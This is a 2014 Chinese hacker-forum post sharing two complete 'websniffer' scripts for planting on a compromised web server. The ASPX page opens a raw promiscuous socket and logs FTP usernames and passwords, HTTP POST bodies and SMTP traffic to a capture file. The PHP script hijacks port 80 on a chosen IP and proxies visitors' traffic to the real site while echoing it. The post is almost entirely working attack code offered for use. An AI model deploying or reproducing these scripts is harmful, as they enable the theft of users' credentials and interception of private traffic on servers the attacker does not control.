搜索
查看: 378|回复: 0

aspx+php websniffer嗅探脚本

[复制链接]

1839

主题

2255

帖子

1万

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
11913
发表于 2014-8-11 11:36:24 | 显示全部楼层 |阅读模式
aspx
  1. <%@ Page Language="C#" ValidateRequest="false" %>
  2. <%@ Import Namespace="System.Net.Sockets" %>
  3. <%@ Import Namespace="System.Net" %>
  4. <%@ Import Namespace="System.IO" %>
  5. <%@ Import Namespace="System.Collections" %>
  6. <%@ Import Namespace="System.Text" %>
  7. <%@ Import Namespace="System.Net.NetworkInformation" %>
  8. <%@ Import Namespace="System.Threading" %>
  9. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
  10. <html xmlns="http://www.w3.org/1999/xhtml">
  11. <head runat="server">
  12. <title>ASPX服务器Web嗅探工具 - ReCoding By:Juliet http://nana.blackbap.org</title>
  13. </head>
  14. <body>
  15. <script runat="server">
  16. static private Socket mainSocket;//截获所有传入的数据包
  17. private static byte[] byteData = new byte[2048];
  18. private static bool bContinueCapturing = true;//检查数据包是否被捕获的标志
  19. static int stoppackes = 0;
  20. static int port = 0;
  21. static string strIP = null;
  22. static long packets = 0;
  23. static System.IO.FileStream wfs;
  24. static string logfile =null;
  25. static PacketCaptureWriter pktwt;
  26. static string keyword;
  27. static DateTime stoptime = System.DateTime.Now.AddYears(-8);
  28. static Thread th;
  29. static int minisizepacket=0;
  30. static string proException = null;
  31. static Boolean logNextPacket = true;
  32. static Boolean my_s_ftp= false;
  33. static Boolean my_s_http_post = true;
  34. static Boolean my_s_smtp = false;
  35. protected void Page_Load(object sender, EventArgs e)
  36.     {
  37.         if (logfile == null)
  38.         {
  39.             logfile = Server.MapPath("w" + System.DateTime.Now.ToFileTime() + ".log");
  40.         }
  41.         if (stoptime.Year == (System.DateTime.Now.Year - 8))
  42.         {
  43.             System.DateTime nextDay = System.DateTime.Now.AddDays(1);
  44.             stoptime = nextDay;
  45.         }
  46.         IPHostEntry HosyEntry = Dns.GetHostEntry((Dns.GetHostName()));
  47.         if (HosyEntry.AddressList.Length > 0)
  48.         {
  49.             foreach (IPAddress ip in HosyEntry.AddressList)
  50.             {
  51.                 ddlist.Items.Add(ip.ToString());
  52.             }
  53.         }
  54.         //如不是点击Starts按钮,则输出已经设置过的参数
  55.         if (Request.Form["Starts"] == null)
  56.         {
  57.             this.ddlist.SelectedValue = strIP;
  58.             this.txtport.Text = port.ToString();
  59.             this.txtMinisize.Text = minisizepacket.ToString();
  60.             this.txtkeywords.Text = keyword;
  61.             this.txtlogfile.Text = logfile;
  62.             this.txtpackets.Text = stoptime.ToString();
  63.             this.s_ftp.Checked = my_s_ftp;
  64.             this.s_http_post.Checked = my_s_http_post;
  65.             this.s_smtp.Checked = my_s_smtp;
  66.         }
  67.         if (th != null )
  68.         {
  69.             this.Lb_msg.Text = System.DateTime.Now.ToString()+" 结果:<b>" + th.ThreadState.ToString() +"</b> Packets: "+packets.ToString();
  70.         }
  71.         else
  72.         {
  73.             this.Lb_msg.Text = "嗅探尚未开始...";
  74.         }
  75.         if (Request.Form["Starts"] != null || th != null)
  76.         {
  77.             this.Starts.Enabled = false;
  78.         }
  79.         else
  80.         {
  81.             this.Starts.Enabled = true;
  82.         }
  83.         Lb_msg2.Text = proException; //错误信息
  84.     }
  85.     protected void Refresh_Click(object sender, EventArgs e)
  86.     {
  87.     }
  88.     protected void Stop_Click(object sender, EventArgs e)
  89.     {
  90.         packets = stoppackes;
  91.         //stoptime = System.DateTime.Now;
  92.         proException += "<br>上次终止时间为" + System.DateTime.Now.ToString();
  93.         bContinueCapturing = false;

  94.         if (th != null)
  95.         {
  96.             th.Abort();
  97.             th = null;
  98.         }
  99.         try
  100.         {
  101.             wfs.Close();
  102.             mainSocket.Close();
  103.         }
  104.         catch (Exception ex)
  105.         {
  106.         }
  107.     }
  108.     protected void Pagestart()
  109.     {
  110.         //记录设置过的参数
  111.         strIP = ddlist.SelectedValue;
  112.         port = Int32.Parse(txtport.Text);
  113.         stoptime = Convert.ToDateTime( txtpackets.Text);
  114.         logfile = this.txtlogfile.Text;
  115.         keyword = txtkeywords.Text;
  116.         minisizepacket = Int32.Parse(txtMinisize.Text);
  117.         my_s_ftp = this.s_ftp.Checked;
  118.         my_s_http_post = this.s_http_post.Checked;
  119.         my_s_smtp = this.s_smtp.Checked;
  120.         wfs = System.IO.File.Create(logfile);
  121.         pktwt = new PacketCaptureWriter(wfs, LinkLayerType.RawIP);
  122.         bContinueCapturing = true;
  123.         packets = 0;
  124.         Start();
  125.     }
  126.     private static void Start()
  127.     {
  128.         byte[] byTrue = new byte[4] { 1, 0, 0, 0 };
  129.         byte[] byOut = new byte[4] { 1, 0, 0, 0 };
  130.         try
  131.         {
  132.             bContinueCapturing = true;
  133.             mainSocket = new Socket(AddressFamily.InterNetwork, SocketType.Raw, ProtocolType.IP);
  134.             mainSocket.Bind(new IPEndPoint(IPAddress.Parse(strIP), 0));
  135.             mainSocket.SetSocketOption(SocketOptionLevel.IP, SocketOptionName.HeaderIncluded, true);
  136.             mainSocket.IOControl(IOControlCode.ReceiveAll, byTrue, byOut);
  137.         }
  138.         catch (Exception ex)
  139.         {
  140.             proException += ex.ToString()+"<BR>"; //静态方法可以访问静态变量proException
  141.         }
  142.         byteData = new byte[2048];
  143.         while (System.DateTime.Now <= stoptime)
  144.         {
  145.             ParseData(byteData, mainSocket.Receive(byteData));
  146.         }
  147.         bContinueCapturing = false;
  148.         wfs.Close();
  149.         mainSocket.Close();
  150.     }
  151.     protected void Start_Click(object sender, EventArgs e)
  152.     {
  153.         if (this.txtlogfile.Text == "" || txtpackets.Text.Length < 1 || txtport.Text == "") return;
  154.         th = new Thread(new ThreadStart(Pagestart));
  155.         th.Start();
  156.         //Session["workthread"] = th;
  157.         this.Lb_msg.Text = "\r\n嗅探中...";
  158.     }

  159.     public static ushort Get2Bytes(byte[] ptr, int Index, int Type)
  160.     {
  161.         ushort u = 0;
  162.         if (Type == 0)
  163.         {
  164.             u = (ushort)ptr[Index++];
  165.             u *= 256;
  166.             u += (ushort)ptr[Index++];
  167.         }
  168.         else if (Type == 1)
  169.         {
  170.             u = (ushort)ptr[++Index];
  171.             u *= 256; Index--;
  172.             u += (ushort)ptr[Index++]; Index++;
  173.         }
  174.         return u;
  175.     }
  176.     private static void ParseData(byte[] byteData, int nReceived)
  177.     {
  178.         try
  179.         {
  180.             byte[] nbyte = new byte[nReceived];
  181.             Array.Copy(byteData, nbyte, nReceived);
  182.             if ((int)nbyte[9] == 6)
  183.             {
  184.                 int sport = Get2Bytes(nbyte,  20,0);
  185.                 int dport = Get2Bytes(nbyte,  22,0);
  186.                 String datas=Encoding.Default.GetString(nbyte);
  187.                 Boolean logIt=false;
  188.                 if (my_s_ftp)
  189.                 {
  190.                     if ((sport == 21 || dport == 21) &&
  191.                         (datas.IndexOf("USER ") >= 0 || datas.IndexOf("PASS ") >= 0)
  192.                         )
  193.                     {
  194.                        logIt =true;                    
  195.                     }
  196.                 }
  197.                 if (!logIt && my_s_http_post)
  198.                 {
  199.                     if(logNextPacket){
  200.                         logIt =true;
  201.                         logNextPacket=false;
  202.                     }
  203.                     if (!logIt && datas.IndexOf("POST ")>=0)
  204.                     {
  205.                        logIt =true;
  206.                        logNextPacket=true;
  207.                     }
  208.                 }
  209.                 if (!logIt && my_s_smtp && (dport == 25 || sport == 25))
  210.                 {
  211.                      logIt =true;
  212.                 }
  213.                 //判断端口和关键字
  214.                 if (!logIt && (dport == port || sport == port))
  215.                 {
  216.                     if (nReceived > minisizepacket)
  217.                     {
  218.                         if (keyword != "")
  219.                         {
  220.                             if (datas.IndexOf(keyword) >= 0)
  221.                             {
  222.                                 logIt =true;
  223.                             }
  224.                         }
  225.                         else
  226.                         {
  227.                             logIt =true;
  228.                         }
  229.                     }
  230.                 }
  231.                 if(logIt){
  232.                          PacketCapture pkt = new PacketCapture(nbyte, nReceived);
  233.                             pktwt.Write(pkt);
  234.                             packets++;
  235.                 }   
  236.             }
  237.         }
  238.         catch { }
  239.     }
  240.     public struct UnixTime
  241.     {
  242.         public static readonly DateTime MinDateTime = new DateTime(1970, 1, 1, 0, 0, 0);
  243.         public static readonly DateTime MaxDateTime = new DateTime(2038, 1, 19, 3, 14, 7);
  244.         private readonly int _Value;
  245.         public UnixTime(int value)
  246.         {
  247.             if (value < 0)
  248.                 throw new ArgumentOutOfRangeException("value");
  249.             _Value = value;
  250.         }
  251.         public int Value
  252.         {
  253.             get { return _Value; }
  254.         }
  255.         public DateTime ToDateTime()
  256.         {
  257.             const long START = 621355968000000000; //1970-1-1 00:00:00
  258.             return new DateTime(START + (_Value * (long)10000000)).ToLocalTime();
  259.         }
  260.         public static UnixTime FromDateTime(DateTime dateTime)
  261.         {
  262.             if (dateTime < MinDateTime || dateTime > MaxDateTime)
  263.                 throw new ArgumentOutOfRangeException("dateTime");
  264.             TimeSpan span = dateTime.Subtract(MinDateTime);
  265.             return new UnixTime((int)span.TotalSeconds);
  266.         }
  267.         public override string ToString()
  268.         {
  269.             return ToDateTime().ToString();
  270.         }
  271.     }
  272.     public enum LinkLayerType : uint
  273.     {
  274.         Null = 0,
  275.         Ethernet = 1,
  276.         RawIP = 101,
  277.         User0 = 147,
  278.         User1 = 148,
  279.         User2 = 149,
  280.         User3 = 150,
  281.         User4 = 151,
  282.         User5 = 152,
  283.         User6 = 153,
  284.         User7 = 154,
  285.         User8 = 155,
  286.         User9 = 156,
  287.         User10 = 157,
  288.         User11 = 158,
  289.         User12 = 159,
  290.         User13 = 160,
  291.         User14 = 161,
  292.         User15 = 162,
  293.     }
  294.     public sealed class PacketCaptureWriter
  295.     {
  296.         #region Fields
  297.         private const uint MAGIC = 0xA1B2C3D4;
  298.         private readonly Stream _BaseStream;
  299.         private readonly LinkLayerType _LinkLayerType;
  300.         private readonly int _MaxPacketLength;
  301.         private readonly BinaryWriter m_Writer;
  302.         private bool m_ExistHeader = false;
  303.         private int _TimeZone;
  304.         private int _CaptureTimestamp;
  305.         #endregion
  306.         #region Constructors
  307.         public PacketCaptureWriter(
  308.             Stream baseStream, LinkLayerType linkLayerType,
  309.             int maxPacketLength, int captureTimestamp)
  310.         {
  311.             if (baseStream == null) throw new ArgumentNullException("baseStream");
  312.             if (maxPacketLength < 0) throw new ArgumentOutOfRangeException("maxPacketLength");
  313.             if (!baseStream.CanWrite) throw new ArgumentException("Cant'Wirte Stream");
  314.             _BaseStream = baseStream;
  315.             _LinkLayerType = linkLayerType;
  316.             _MaxPacketLength = maxPacketLength;
  317.             _CaptureTimestamp = captureTimestamp;
  318.             m_Writer = new BinaryWriter(_BaseStream);
  319.         }
  320.         public PacketCaptureWriter(Stream baseStream, LinkLayerType linkLayerType, int captureTimestamp)
  321.             : this(baseStream, linkLayerType, 0xFFFF, captureTimestamp)
  322.         {
  323.         }
  324.         public PacketCaptureWriter(Stream baseStream, LinkLayerType linkLayerType)
  325.             : this(baseStream, linkLayerType, 0xFFFF, UnixTime.FromDateTime(DateTime.Now).Value)
  326.         {
  327.         }
  328.         #endregion
  329.         #region Properties
  330.         public short VersionMajor
  331.         {
  332.             get { return 2; }
  333.         }
  334.         public short VersionMinjor
  335.         {
  336.             get { return 4; }
  337.         }
  338.         public int TimeZone
  339.         {
  340.             get { return _TimeZone; }
  341.             set { _TimeZone = value; }
  342.         }
  343.         public int CaptureTimestamp
  344.         {
  345.             get { return _CaptureTimestamp; }
  346.             set { _CaptureTimestamp = value; }
  347.         }

  348.         public Stream BaseStream
  349.         {
  350.             get { return _BaseStream; }
  351.         }
  352.         public LinkLayerType LinkLaterType
  353.         {
  354.             get { return _LinkLayerType; }
  355.         }
  356.         public int MaxPacketLength
  357.         {
  358.             get { return _MaxPacketLength; }
  359.         }
  360.         #endregion
  361.         public void Write(PacketCapture packet)
  362.         {
  363.             CheckHeader();
  364.             m_Writer.Write(packet.Timestamp.Value);
  365.             m_Writer.Write(packet.Millseconds);
  366.             m_Writer.Write(packet.Packet.Count);
  367.             m_Writer.Write(packet.RawLength);
  368.             m_Writer.Write(packet.Packet.Array, packet.Packet.Offset, packet.Packet.Count);
  369.         }
  370.         public void Flush()
  371.         {
  372.             BaseStream.Flush();
  373.         }
  374.         private void CheckHeader()
  375.         {
  376.             if (!m_ExistHeader)
  377.             {
  378.                 m_Writer.Write(MAGIC);
  379.                 m_Writer.Write(VersionMajor);
  380.                 m_Writer.Write(VersionMinjor);
  381.                 m_Writer.Write(TimeZone);
  382.                 m_Writer.Write(CaptureTimestamp);
  383.                 m_Writer.Write(MaxPacketLength);
  384.                 m_Writer.Write((uint)LinkLaterType);
  385.                 m_ExistHeader = true;
  386.             }
  387.         }
  388.     }
  389.     public sealed class PacketCapture
  390.     {
  391.         private readonly UnixTime _Timestamp;
  392.         private readonly ArraySegment<byte> _Packet;
  393.         private readonly int _RawLength;
  394.         private readonly int _Millseconds;
  395.         public PacketCapture(ArraySegment<byte> packet, int rawLength, UnixTime timestamp, int millseconds)
  396.         {
  397.             if (packet.Count > rawLength)
  398.                 throw new ArgumentException("Length Error", "rawLength");
  399.             _Packet = packet;
  400.             _Timestamp = timestamp;
  401.             _RawLength = rawLength;
  402.             _Millseconds = millseconds;
  403.         }
  404.         public PacketCapture(ArraySegment<byte> packet, int rawLength, DateTime timestamp)
  405.             : this(packet, rawLength, UnixTime.FromDateTime(timestamp), 0)
  406.         {
  407.         }
  408.         public PacketCapture(ArraySegment<byte> packet, int rawLength)
  409.             : this(packet, rawLength, UnixTime.FromDateTime(DateTime.Today), 0)
  410.         {
  411.         }
  412.         public PacketCapture(ArraySegment<byte> packet)
  413.             : this(packet, packet.Count)
  414.         {
  415.         }
  416.         public PacketCapture(byte[] packetData, int offset, int count, int rawLength, UnixTime timestamp, int millseconds)
  417.             : this(new ArraySegment<byte>(packetData, offset, count), rawLength, timestamp, millseconds)
  418.         {
  419.         }
  420.         public PacketCapture(byte[] packetData, int offset, int count, int rawLength, DateTime timestamp)
  421.             : this(new ArraySegment<byte>(packetData, offset, count), rawLength, UnixTime.FromDateTime(timestamp), 0)
  422.         {
  423.         }
  424.         public PacketCapture(byte[] packetData, int rawLength, UnixTime timestamp, int millseconds)
  425.             : this(new ArraySegment<byte>(packetData), rawLength, timestamp, millseconds)
  426.         {
  427.         }
  428.         public PacketCapture(byte[] packetData, int rawLength, DateTime timestamp)
  429.             : this(new ArraySegment<byte>(packetData), rawLength, UnixTime.FromDateTime(timestamp), 0)
  430.         {
  431.         }
  432.         public PacketCapture(byte[] packetData, int rawLength)
  433.             : this(new ArraySegment<byte>(packetData), rawLength, UnixTime.FromDateTime(DateTime.Today), 0)
  434.         {
  435.         }
  436.         public PacketCapture(byte[] packetData)
  437.             : this(packetData, packetData.Length)
  438.         {
  439.         }
  440.         public ArraySegment<byte> Packet
  441.         {
  442.             get { return _Packet; }
  443.         }
  444.         public UnixTime Timestamp
  445.         {
  446.             get { return _Timestamp; }
  447.         }
  448.         public int Millseconds
  449.         {
  450.             get { return _Millseconds; }
  451.         }
  452.         public int RawLength
  453.         {
  454.             get { return _RawLength; }
  455.         }
  456.     }
  457. </script>
  458. <style type="text/css">
  459. <!--
  460. a {color: #FF0000;text-decoration: none}
  461. #tt {vertical-align: middle;font-size: 12pt;text-align: center;}
  462. #Ct_2 {padding-left:30px;font-size: 10pt;color: #336699;vertical-align: middle;text-align: left;background-color: aliceblue;border-width: 1px;border-style: solid;border-color: -moz-use-text-color;padding-bottom:10px;}
  463. -->
  464. </style>
  465. <form id="form1" runat="server">
  466. <div id="tt"><b>&#65;&#83;&#80;&#88;&#26381;&#21153;&#22120;&#87;&#69;&#66;&#21957;&#25506;&#24037;&#20855;</b>&#32;&#32;&#32;&#32;&#66;&#121;&#65306;<font color=green><a href="javascript:location.href=String.fromCharCode(104,116,116,112,58,47,47,110,97,110,97,46,98,108,97,99,107,98,97,112,46,111,114,103)">&#74;&#117;&#108;&#105;&#101;&#116;</a></font><br /><br /></div>
  467. <div id="Ct_2"><table width="100%" ><tr >
  468. <td width="10%">嗅探ip:</td>
  469. <td><asp:DropDownList ID="ddlist" runat="server" width="90%"></asp:DropDownList></td>
  470. </tr><tr >
  471. <td width="10%">自动嗅探: </td>
  472. <td>FTP密码:    <asp:CheckBox ID="s_ftp" runat="server" Checked /><br />
  473. HTTP Post数据:    <asp:CheckBox ID="s_http_post" runat="server" /><br />
  474. Smtp数据:    <asp:CheckBox ID="s_smtp" runat="server" /></td>
  475. </tr><tr>
  476. <td>过滤端口:</td>
  477. <td><asp:TextBox ID="txtport" Text="0"  width="90%" runat="server"></asp:TextBox></td>
  478. </tr><tr>
  479. <td>捕获数据包大小下限:</td>
  480. <td><asp:TextBox ID="txtMinisize" Text="0"  width="90%" runat="server" ></asp:TextBox></td>
  481. </tr><tr>
  482. <td>捕获关键字:</td>
  483. <td><asp:TextBox ID="txtkeywords" runat="server"   width="90%" Text=""></asp:TextBox></td>
  484. </tr><tr>
  485. <td>记录文件:</td>
  486. <td><asp:TextBox ID="txtlogfile" runat="server"   width="90%" Text="log.log" ></asp:TextBox></td>
  487. </tr><tr>
  488. <td>终止时间:</td>
  489. <td><asp:TextBox ID="txtpackets" runat="server"  width="90%" Text="300"></asp:TextBox></td>
  490. </tr><tr>
  491. <td>控制:</td>
  492. <td width="90%" ><asp:Button ID="Starts" runat="server" OnClick="Start_Click" Text="开始嗅探" />
  493. <asp:Button ID="Button1" runat="server" OnClick="Stop_Click" Text="终止嗅探" />
  494. <asp:Button ID="Button_ref" runat="server" OnClick="Refresh_Click" Text="刷新重置" /><br /></td>
  495. </tr><tr>
  496. <td>状态:</td>
  497. <td width="90%"><div id="s"><asp:Label ID="Lb_msg" runat="server" Text=""></div></asp:Label></td>
  498. </tr><tr>
  499. <td>                    </td>
  500. <td width="90%"><div id="s"><asp:Label ID="Lb_msg2" runat="server" Text=""></div></asp:Label></td>
  501. </tr></table></div><br /><br /></form>
  502. </body></html>
复制代码

php
  1. <?php
  2. class select
  3. {
  4. var $sockets;

  5. // 构造函数
  6. function select($sockets)
  7. {
  8. $this->sockets = array();

  9. foreach($sockets as $socket)
  10. {
  11. $this->add($socket);
  12. }
  13. }

  14. function add($add_socket)
  15. {
  16. //array_push($this->sockets, $add_socket);
  17. $this->sockets[] = $add_socket;
  18. }

  19. // 利用临时数组来删除数组中的元素
  20. function remove($remove_socket)
  21. {
  22. $tmp_sockets = array();

  23. foreach($this->sockets as $socket)
  24. {
  25. if($remove_socket != $socket)
  26. {
  27. $tmp_sockets[] = $socket;
  28. }
  29. }

  30. $this->sockets = $tmp_sockets;
  31. }

  32. // 检查socket数组是否可读,传入超时时间,返回socket数组
  33. function can_read($timeout)
  34. {
  35. $read = $this->sockets;
  36. socket_select( $read, $write = NULL, $except = NULL, $timeout );
  37. return $read;
  38. }

  39. // 检查socket数组是否可写,传入超时时间,返回socket数组
  40. function can_write($timeout)
  41. {
  42. $write = $this->sockets;
  43. socket_select( $read = NULL, $write, $except = NULL, $timeout );
  44. return $write;
  45. }
  46. }

  47. // 网页不超时
  48. set_time_limit(0);

  49. // 即时输出数据,不缓冲
  50. ob_end_clean();
  51. ob_implicit_flush(true);

  52. if( !isset($_GET["listen_ip"]) )
  53. {
  54. exit;
  55. }
  56. if( $_GET["listen_ip"] == "" )
  57. {
  58. exit;
  59. }

  60. $listen_ip = $_GET["listen_ip"];
  61. $listen_port = 80;

  62. // 建立socket
  63. $listen_sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);

  64. // 设置重复绑定
  65. socket_set_option($listen_sock, SOL_SOCKET, SO_REUSEADDR, 1);

  66. // 明确指定绑定IP地址,优先获取数据
  67. socket_bind($listen_sock, $listen_ip, $listen_port);

  68. // 开始监听
  69. socket_listen ($listen_sock);

  70. echo "listen on ".htmlentities($listen_ip)." :".$listen_port."<br />";

  71. // 创建socket数组,使用select来轮询
  72. $check_socks = array($listen_sock);

  73. // 映射客户端socket和服务端socket
  74. // $socket_maps1将客户端socket作为key
  75. // $socket_maps2将服务端socket作为key
  76. // 以内存换速度,并且方便下面的搜索
  77. $socket_maps1 = array( );
  78. $socket_maps2 = array( );

  79. // 实例化select类
  80. $select = new select( $check_socks );

  81. while(true)
  82. {
  83. /*
  84. print_r( $socket_maps );
  85. print "<br />";
  86. */
  87. // select轮询,超时2秒
  88. foreach ($select->can_read(1) as $socket)
  89. {
  90. // listen_sock可读,说明有人连接上来了
  91. if( $socket == $listen_sock )
  92. {
  93. // 接受新连接,并加入到轮训数组
  94. $new_client = socket_accept($listen_sock);
  95. $select->add($new_client);

  96. socket_getpeername($new_client, $ip, $port);
  97. echo "New client connected: $ip, $port<br />";

  98. // 建立到真实服务器的socket
  99. $server_sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
  100. socket_connect($server_sock,"127.0.0.1", $listen_port);

  101. // 建立真实服务器socket和真实客户端socket之间的映射关系
  102. $socket_maps1[$new_client] = $server_sock;
  103. $socket_maps2[$server_sock] = $new_client;

  104. // 添加到select轮询中
  105. $select->add($server_sock);

  106. // $listen_sock的可读数据是因为有新连接,已经处理了。暂时去掉,因为下面开始处理数据转发
  107. //select->remove( $listen_sock );
  108. }

  109. // 其他socket可读,表示有数据需要中转
  110. else
  111. {
  112. // 读取数据,失败则从轮询socket中删除,并关闭socket
  113. $client_data = @socket_read($socket, 1024, PHP_NORMAL_READ);
  114. if ($client_data === false)
  115. {
  116. socket_close( $socket );
  117. $select->remove( $socket );
  118. echo "client disconnected.<br />";

  119. continue;
  120. }

  121. // 如果socket在$socket_maps1的key中,说明是从客户端读到了数据
  122. if( in_array( $socket, array_keys($socket_maps1) ) )
  123. {
  124. //echo "readed from client.<br />";
  125. if( ! socket_write( $socket_maps1[$socket], $client_data ) )
  126. {
  127. socket_close( $socket );
  128. socket_close( $socket_maps1[$socket] );
  129. $select->remove( $socket );
  130. $select->remove( $socket_maps1[$socket] );
  131. print "Write to server error.<br />";
  132. }
  133. print htmlentities($client_data)."</b><br />";
  134. }
  135. // 否则如果socket在$socket_maps2的key中,说明是从真正的web服务器读到了数据
  136. elseif( in_array( $socket, array_keys($socket_maps2) ) )
  137. {
  138. //echo "readed from server.<br />";
  139. if( ! socket_write( $socket_maps2[$socket], $client_data ) )
  140. {
  141. socket_close( $socket );
  142. socket_close( $socket_maps2[$socket] );
  143. $select->remove( $socket );
  144. $select->remove( $socket_maps2[$socket] );
  145. print "Write to client error.<br />";
  146. }
  147. print htmlentities($client_data)."</b><br />";
  148. }
  149. }
  150. }
  151. }
  152. ?>
复制代码
过段时间可能会取消签到功能了
您需要登录后才可以回帖 登录 | Join BUC

本版积分规则

Powered by Discuz!

© 2012-2015 Baiker Union of China.

快速回复 返回顶部 返回列表